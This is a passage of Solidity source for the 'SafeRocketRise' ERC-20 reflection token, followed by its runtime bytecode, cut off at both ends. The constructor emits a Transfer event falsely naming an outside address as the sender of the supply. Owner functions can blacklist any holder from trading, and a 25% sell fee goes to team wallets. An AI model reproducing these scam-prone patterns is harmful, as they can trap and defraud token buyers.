return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SafeRocketRise is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "SafeRocketRise";
string private constant _symbol = "SRR";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600e81526020017f53616665526f636b657452697365000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5352520000000000000000000000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf98